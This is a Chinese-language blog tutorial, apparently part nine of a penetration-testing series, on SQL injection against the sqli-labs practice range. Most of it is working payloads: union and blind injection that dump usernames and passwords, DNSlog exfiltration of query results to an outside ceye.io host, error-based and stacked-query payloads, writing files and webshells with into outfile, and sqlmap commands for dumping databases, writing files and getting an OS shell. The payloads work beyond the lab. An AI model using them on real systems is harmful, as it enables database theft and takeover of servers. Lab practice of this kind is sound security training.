网络安全与渗透:sql注入,一文详解(九)此生无悔入华夏,男儿何不带吴钩

263 阅读15分钟

 

中华人民共和国网络安全法

阅读本文前,请熟读并遵守中华人民共和国网络安全法: www.npc.gov.cn/npc/c30834/…    

简介

在owasp 漏洞 top 10 中,注入漏洞常年位居榜首。注入漏洞可谓是网站安全隐患的头号大敌。

什么是注入漏洞:攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能SQL查询、LDAP查询、OS命令、程序参数等中出现。

这里主要说的是sql注入

   

常见数据库及端口

  • sql server 默认端口1433
  • mysql 默认端口3306
  • oracle 默认端口1521    

常见数据库连接工具

  • navicat 非常好用,支持几乎所有的数据库,操作也很好用,界面好看(推荐)
  • sqlyog 老程序员用的多,好不好,试试就知道了    

information_schema数据库

在mysql(版本>5.0)数据库中,information_schema库是默认的存放数据库各种信息的库。

  • SCHEMATA 表,存储着mysql实例中所有库的信息,show databases 数据来自此表
  • TABLES 表,存储着所有表信息
  • COLUMNS 表,存储着所有列信息    

sql注入常用函数

  • current_user() 查看当前用户,select current_user();
  • session_user() 连接数据库的用户, select session_user();
  • @@basedir mysql的安装路径,select @@basedir;
  • @@datadir 数据库的路径,select @@datadir;
  • @@version_compile_os 操作系统的版本,select @@version_compile_os;
  • concat concat_ws group_concat 字符串连接函数, 如:select concat(Id,'---',Name) from Customers; 或者:select group_concat('\n',Name,'---',Id) from Customers;
  • substr mid left right 字符串截取函数 如:select substr('aaaa'n,1,2); select mid('aaaa'n,1,2); select left ('aaaa'n,1); select right ('aaaa'n,); locate 返回第一个字符串出现在第二个字符串上的位置 select locate('n',(select Name from Customers where Id= 2));
  • ascii ord 返回ascii字符对应的值 select ord('a'); 数字转ascii为 char 如:select char(97);
  • length count 长度,数量 select length(Name) from Customers;
  • sleep if 延时执行,判断再执行 如:select if(length(Name)>3,length(Name),sleep(5)) from Customers where Id = 1; 意:如果表达式1成立则执行表达式2,否则执行表达式3
  • #   --+   /**/   /*!*/   /* !50000*/ 注释方法

搭建sql注入靶场

1.安装phpstudy(集成开发环境)

下载地址:www.xp.cn/download.ht…

下载2018版比较好用,最新版会报错

安装过程略。。。都是下一步

2.安装靶场

靶场下载地址:github.com/Audi-1/sqli…

运行phpstudy,运行wnmp

在网站界面,点击默认网站的管理,打开根目录,将靶场解压到这里,

在下图文件中修改数据库的用户密码为你的数据库用户吗密码: 在这里插入图片描述

然后重启,浏览器输入:http://127.0.0.1/sqli-labs-master/ 访问

然后点击图中按钮,初始化数据和表。 在这里插入图片描述 这里使用浏览器为firework,下载地址:

链接:pan.baidu.com/s/1h-wg50kL… 提取码:ht6a 失效留言。

   

判断是否存注入漏洞

字符型

sql中字符都是 ' ' 符号 包裹,在参数后面加上’来判断是否是字符型,发送请求看是否报错 或者用 and 1=1 和 and 1=2 来判断

# 的转义为%23 如果存在注入漏洞,可以将语句后面的内容注释掉

例如:http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘%23

数字型

先按照字符型尝试,如果还是报错,说明是数据型,可以用公式进行判断

例如:http://127.0.0.1/sqli-labs-master/Less-2/?id=2-1

搜索型

在搜索是加上模糊查询, 如:xxxx 'and 1=1 and '%'='    

union注入

MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。

这里需要注意,union的查询的列数必须严格相等

因此首先荣order by x 判断一下有多少个列 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+

然后再用union测试 http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

当然也可以查询一些其他信息, http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version() --+

还可以查询数据库中的所有表http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat('
',table_name),version() from information_schema.tables where table_schema = database() --+

查询其中一个表的字段 http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat('
',column_name),version() from information_schema.columns where table_name = 'users' --+

在然后就可以查询出这个表中的所有内容http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat('|',username),group_concat("|",password) from users --+

如下图 在这里插入图片描述 在注入中,也可以使用union all select 它和 union select,没有什么区别,但能跳过某感谢waf    

布尔盲注

we的页面信息都是返回一些true或者false,所有布尔盲注,就是一种根据返回值的到数据库信息的方法。 使用场景

  • 通常使用在union注入用不了,没有显示的位置。
  • 只能根据页面返回true或者false来判断是否被带入查询

测试 靶场第八关

1.判断数据库长度 http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database())=8) --+

2.获取数据库的名称 依次查询数据库名称的每个位,直到查询出结果 http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ord(substr(database(),1,1))=115)--+

3.burpsuite扫描 手动一个个试,当然是不科学的。这里使用burpsuite,intruder模块自动完成 不了解和不会用burpsuite的可以参考之前的文章:blog.csdn.net/qq_25490573… 首先给浏览器设置一个代理,代理到burpsuite的proxy上,代理设置参考下图。在这里插入图片描述 在burp中截取一个请求,send to intruder 模块,然后设置positions为下图 在这里插入图片描述 设置payloads,为下图 在这里插入图片描述 然后start attack 开始 在结果中找到那个与众不同的,就是正确的数字,然后找到对应asii码即可, 在这里插入图片描述 遍历完所有的长度之后,就能够知道数据库的名字,然后安装union中的查找方式,先找库名称,再找表名称,再找字段名称,依次类推,然后查询到所有结果    

时间盲注

当union注入和bool注入无法使用时,就需要使用时间盲注了 实战靶场第九关 主要是用到if 和sleep,看界面响应时间,如: 获取数据库长度 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())>8,sleep(5),1) --+ 如果长度大于8,则sleep5秒,否则直接返回 然后在依次获取名称 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((ord(substr(database(),1,1))=115),sleep(5),1) --+

接下来的步骤和布尔盲注一样,获取数据库名,表名,字段名。。。

DNSlog盲注

原理

测试一些网站的时候,一些注入都是无回显的,手工盲注效率太低,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,虽然可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。

首先有一个可以用于dns解析的域名,比如ceye.io。通过代理商设置域名ceye.io的nameserver为自己的服务器a,再在服务器a上配置好dns服务器,这样所有ceye.io及其子域名的查询都会到服务器a上,这时就能实时监控域名查询请求。

这时,网站服务器会去指定的dns服务器上去解析域名,请求包中拼接了我们想要查询的语句的执行结果(把信息放在高级域名中,数据库的执行结果被拼接到域名解析的高级域名中),这样就能简介看到回显结果。

需要满足条件

mysql.ini的 secure_file_priv 设置必须为空 secure_file_priv 为/tmp,意为只能在/tmp目录下进行导入导出,为空时则不限制

使用方法方法

根据原理,我们需要一个dsn server 作为检测带外(Out-of-Band)流量的监控平台 首先去ceye.io/平台注册一个账号,然后查看自己的identitler,如图 在这里插入图片描述 将下面命令中的27epx0.ceye.io替换为上图中的内容

?id=1' and load_file(concat('\\\\',(select database()),'.27epx0.ceye.io\\abc'))--+

然后发起请求,就可以在平台的DNS Query中看到附带的请求 在这里插入图片描述 红框中的内容就是我们select database()的内容。 想获取别的信息,可以通过修改替换select database()命令实现

 

报错注入

报错注入,就是利用数据库的错误机制,人为的制造错误,使查询结果能够出现在报错信息中心,这种手段在联合查询和能返回错误信息的情况下比较好用。 注意:要能够看到报错信息才能够使用报错注入

payload:

?id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
  • 函数 updatexml:更新目标到一个xml文档 参数一:目标文档, 参数二:更新路径 ,必须为xpath格式,如:/xxx/xx 因为我们不是这个格式所以报错 参数三:更新后路径
  • 其中0x7e为~
  • extractvalue:对XML文档进行查询的函数 参数一:目标xml文档, 参数二:xml路径
  • 所以他俩也叫xpath注入函数
  • 取表取字段和上面的注入方式相同,直接替换 select database() 即可     payload
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • floor : 向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1
  • 这个利用的是主键重复
  • group by key :循环读取每一行,将结果保存在临时表中,这个payload会导致向临时表插入重复而报错。
  • 其他查询语句修改替换user()即可

更多报错注入参考 blog.csdn.net/whatday/art…    

宽字节注入

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码,所以这个技巧基本没什么d用 有兴趣可以去靶场36关练习一下    

二次注入

普通注入是直接进入到sql查询中,而二次注入则是输入数据,经过处理,存储,取出后再次进入到sql查询。

练习使用靶场24关

一般情况下,我们修改密码的语句如下:

update user set password = 'xxx' where username = 'xxxx' and password = ‘xxxx’

如果我们的用户名是admin’#,则上面的语句变成

update user set password = 'xxx' where username = 'admin’#' and password = ‘xxxx’

则能够将管理员的账户密码修改成我们设置的面,危害十分巨大。

类似的还有多种方式,重要的是如何巧妙地利用这种方式    

http头注入

http协议中的header会存放很多有用的信息,这些信息往往被用于sql查询,所有可以通过修改头部达成sql注入。

靶场18关

首先burp捕获一次登录。

然后将 host 和 user-agent 依次修改为 1‘

发现当user-agent 修改为 1’ 时,提示错误,说明此字段参与了sql操作,且存在注入漏洞 在这里插入图片描述 然后修改user-agent 为

1'and updatexml(1,concat(0x7e,(database()),0x7e),1)  and '1' = '1

再次发起请求,就会发现,红框中的内容,接下来,就可以 嘿嘿嘿 ~~~ 在这里插入图片描述 常见的http头注入主要是以下字段 host cookie referer user-agent accept 等

堆叠注入

通常sql语句由;结尾。

而多个sql语句以;分割,一起执行,就是堆叠注入。

有局限性。

如果存在堆叠注入漏洞,

可以通过类似于下面的命令,查看,插入,删除,修改各种信息

?id=1'; insert into users(username,password) values('wd','123456') --+

如果利用堆叠漏洞,我们就需要知道对方数据库的一些信息,比如说,数据库的名字,表的名字 那么问题来,如何获取这些信息那

  • 通过目录遍历漏洞,查找.sql后缀文件
  • 通过目录/文件fuzz工具,如御剑/dirsearch等查找.sql文件
  • 寻找对方的源码泄露漏洞,源码中包含了可利用的文件
  • github上寻找对方网站源码 目录和文件遍历方法请看之前的博文:blog.csdn.net/qq_25490573…    

sqlmap

上面的注入方式主要是手动注入,而sqlmap能自动帮助我们完成这些功能

sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

sqlmap是py开发的,运行需要py环境。

下载网址;sqlmap.org/

kali系统中自带了sqlmap。这里使用kali带的sqlmap,目标为主机靶场

基本使用

简单测试,输入如下命令,根据他反馈的信息进行y或n,结果如下图

//语法格式: sqlmap -u "url"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1"

在这里插入图片描述 这里可以看到,显示type 可以进行布尔,错误,时间,union注入 发现错误后可以进行如下操作

//获取所有数据库名称  语法格式: sqlmap -u "url" --dbs
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbs

//获取当前正在使用的数据库   : sqlmap -u "url" --current-db
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --current-db

//获取某个库下面的表  : sqlmap -u "url" -D "数据库名称" --tables
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" --tables

//获取那个库那张表的字段  :sqlmap -u "url" -D "数据库名称" -T "表名1,表名2" --columns
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" --columns

//获取那个库那个表的数据 :sqlmap -u "url" -D "库名" -T "表名" -C "字段1,字段2,字段3" --dump
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" -C "id,password,username" --dump

通过上面的一些列操作就可以拿到真正的数据, 或者进行一下其他操作

//拖库  :sqlmap -u "url" --dump-all
//不建议进行这个操作

//获取当前用户名称 : sqlmap -u "url" --current-user
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --current-user

//指定文件检测注入  : sqlmap -r xxx.txt
//将一个请求用burp等工具截获,然后粘贴整个请求到一个xxx.txt钟,然后用这个文件进行注入测试

//指定数据库类型注入 :sqlmap -u "url" --dbms "mysql"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbms "mysql"

//post请求时,指定那个参数进行注入: sqlmap -r xxx.txt -p "参数名"
//或者:  sqlmap -u "url" --method POST --data "id=1"

//指定cookie  :  sqlmap -u "url" --cookie "id=1"
//指定referer :  sqlmap -u "url" --referer "http://www.xxxx.com"
//指定user-agent: sqlmap -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" 
//随机的ua头 :  sqlmap -u "url" --random-agent   

//指定代理: sqlmap -u "url" --proxy "http://192.168.10.106:3128"
//获取指定为:sqlmap -u "url" --proxy "socks5://192.168.10.106:3128"
//指定多线程:sqlmap -u "url" --threads 3
//指定操作系统 :sqlmap -u "url" –os "Windows"

//自动搜索表单并进行测试注入: sqlmap -u "url" --forms
//检查宽字节注入: sqlmap -u "url" --tamper unmagicquotes
//判断当前用户是否具有管理员权限 sqlmap -u "url" --is-dba

//清楚缓存(尽量不要敲) : sqlmap -u "url" --flush
//采用默认设置,不提示输入y或n :  sqlmap -u "url" --batch

我们还可以显示sqlmap 输出信息的级别,用-v 级别 指定

sqlmap -u "url" -v 4
  • 0 只显示python错误和严重信息
  • 1 同时显示警告信息和基础信息 (默认)
  • 2 同时显示debug信息 (推荐)
  • 3 同时显示注入的payload
  • 4 同时显示http请求
  • 5 同时显示http响应头
  • 6 同时显示http响应页面

我们还能指定测试强度 --level 等级 共5级

sqlmap -u "url" --level 2
  • >=1 时 尝试get和post
  • >=2 时 sqlmap会尝试注入Cookie参数
  • >=3 时 会尝试对referer、User-Angent 等 注入

我们还能指定测试风险 --risk 等级 共四级

sqlmap -u "url" --risk 2
  • 1 测试大部分的测试语句 (默认,推荐)
  • 2 增加基于测试事件的语句
  • 3 增加or语句的sql注入

默写网站存在伪静态注入,例如:www.xxx.com/index.php/n… 如果203.html处存在一个数据库交互,则利用下面的方式注入

//203*.html  用sqlmap 测试伪静态注入
sqlmap -u "www.xxx.com/index.php/new/id/203*.html"
sqlmap -u "www.xxx.com/index.php/new/id/10*"

   

手动文件操作

如果我们能够获取目标的一些文件的绝对路径,则可以搭配union漏洞获取文件内容,网站源码。

前提条件是,数据库配置文件中的 secure_file_priv为空

secure\_file\_priv= 将这个配置粘贴到mysql.ini中

然后使用load_file加载处网站源码 如:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,'haha', load_file('D:/phpstudy_pro/WWW/sqli-labs-master/Less-1/index.php')--+

就可以将.php文件加载出来

当然,我们能加载文件,就能写入文件,使用 inot outfile() 写入代码,或者是一句话木马等 如:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php phpinfo();?>',3  into outfile 'D:/phpStudy/PHPTutorial/WWW/test.php' --+

此时,打开http://127.0.0.1/test.php ,就可以看到如下图信息 在这里插入图片描述    

sqlmap文件操作

上面的操作也可以用 sqlmap实现

//读取文件  :sqlmap -u "url" --file-read "文件路径"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbms="mysql" --file-read="D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php"

完成后 在info中会提示文件生成位置,如图: 在这里插入图片描述 打开这个文件就能看到,完成的文件内容

当然也可以写入文件,先准备一个要写入的文件,然后把这个文件写入到目标地址。

//写入文件  :sqlmap -u "url" --file-write "要写入的文件路径" --file-dest "写入目标路径"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --file-write="file.php" --file-dest "D:/phpStudy/PHPTutorial/WWW/file.php"

   

shell获取

当然,我们还能执行更骚气的操作,直接拿到对方的shell,命令如下

sqlmap -u "url" --os-shell

首先选择对方网站语言 在这里插入图片描述 然后选择目录 在这里插入图片描述 这里选择2,然后输入对方反震的根路径路径,这里输入:D:/phpStudy/PHPTutorial/WWW/sqli-labs-master 在之后就可以进入shell了,如图 在这里插入图片描述 未完待续。。。